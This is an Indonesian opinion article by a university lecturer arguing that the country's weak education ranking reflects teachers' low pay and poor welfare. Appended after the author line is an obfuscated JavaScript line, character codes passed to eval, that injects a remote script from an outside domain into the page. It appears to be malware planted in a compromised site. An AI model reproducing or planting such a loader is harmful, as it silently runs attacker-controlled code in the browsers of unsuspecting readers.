Doktor Pendidikan Agama Islam
Friday, 9 December 2022
Oleh: Iksan K. Sahri*
Banyak para ahli mengusulkan banyak hal yang seharusnya dilakukan oleh guru atau dilakukan pada guru. Seperti tentang upgrade kompetensi guru, seminari, pendidikan, hingga banyak hal lain. Harapan mereka sama, agar pendidikan kita lebih maju dan bersaing dengan negara-negara maju di dunia. Tapi asa dan fakta seringkali tak sama. Pendidikan kita masih berada pada peringkat rendah dari tahun ke tahun. Tidak ada perbaikan peringkat secara signifikan. Berdasarkan data yang dipublikasi oleh World Population Review, pada tahun 2021 lalu Indonesia masih berada di peringkat ke-54 dari total 78 negara yang masuk dalam pemeringkatan tingkat pendidikan dunia. Dari acuan tersebut pula, Indonesia masih kalah unggul dengan berada di posisi ke-4 jika dibandingkan dengan sesama negara yang berada di kawasan Asia Tenggara seperti Singapura di peringkat 21, Malaysia di peringkat 38, dan Thailand di peringkat 46.
Banyak orang menyangka bahwa ketertinggalan kita adalah pada kualitas SDM guru kita. Bisa jadi itu betul, tapi tidak sepenuhnya tepat. Ketidaktepatan tersebut adalah pada persoalan kesejahteraan para guru di Indonesia. Walau Pemerintah telah mencoba memberikan tunjugan bagi guru tapi belum bisa dinikmati oleh rata-rata guru di Indonesia bahkan angka penerima tunjangan sertifikasi guru di Indonesia tidak sampai 50%. Di level SMK jumlahnya bahkan masih di angka 28% yang artinya mayoritas guru di SMK belum menerima tunjangan sertifikasi guru dan secara keseluruhan lebih dari separuh guru di Indonesia hidupnya masih hidup segan mati tak mau. Banyak kita jumpai bahwa para guru di banyak tempat dibayar dengan sangat rendah sekali. Di daerah-daerah dapat dengan mudah kita lihat para guru yang digaji 300 ribu per bulan. Jika menggunakan acuan dasar upah daerah misalnya, rata-rata guru digaji dibawah upah minimum regional yang ada.
Sebutan guru sebagai pahlawan tanpa tanda jasa selalu dijejalkan kepada para guru baik oleh masyarakat dan juga pengelola Lembaga pendidikan. Semboyan tersebut rupanya digunakan benar oleh para pengelola pendidikan untuk menjustifikasi pemberian upah murah kepada para guru. Hal tersebut dilakukan dengan kata-kata yang menyenangkan baik secara moral social bahkan keagamaan seperti menjadi guru itu mulia, menjadi guru bukan mencari harta, menjadi guru harus ikhlas, menjadi guru harus nriman, dan kata-kata sejenis yang intinya membuat guru mau menerima keadaannya yang di bawah standar dan hak-hak konstitusional upahnya tidak diberikan dengan benar.
Di banyak tempat di negara yang kualitas pendidikannya jauh lebih baik, gaji guru tinggi, ia memang benar-benar menjadi profesi mulia, dan bahkan gajinya cenderung jauh di atas gaji-gaji kerja “kasar”. Rata-rata gaji guru di Indonesia bahkan lebih rendah dibanding gaji kuli bangunan yang tidak menempuh pendidikan dan lebih kecil dibanding tukang sapu jalanan di kota Surabaya.
Lalu apa poin yang hendak saya sampaikan, poinnya adalah perbaikan kualitas pendidikan di Indonesia tidak bisa tidak harus dimulai dengan komitmen bersama untuk mensejahterakan guru. Guru yang tidak sejahtera akan cenderung memiliki kerja dobel, mengajar di berbagai tempat, jualan online, atau bahkan melakukan kerja-kerja yang banyak menyita waktu dan tenaga yang tidak berhubungan dengan dunia guru. Kalua sudah begitu maka jangan berharap pendidikan kita akan mengalami perbaikan signifikan dalam waktu dekat. Progressnya akan cenderung lambat dan akan selalu tergagap-gagap oleh perubahan dunia.
*Dosen Pascasarjana UIN Sunan Ampel Surabaya
var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);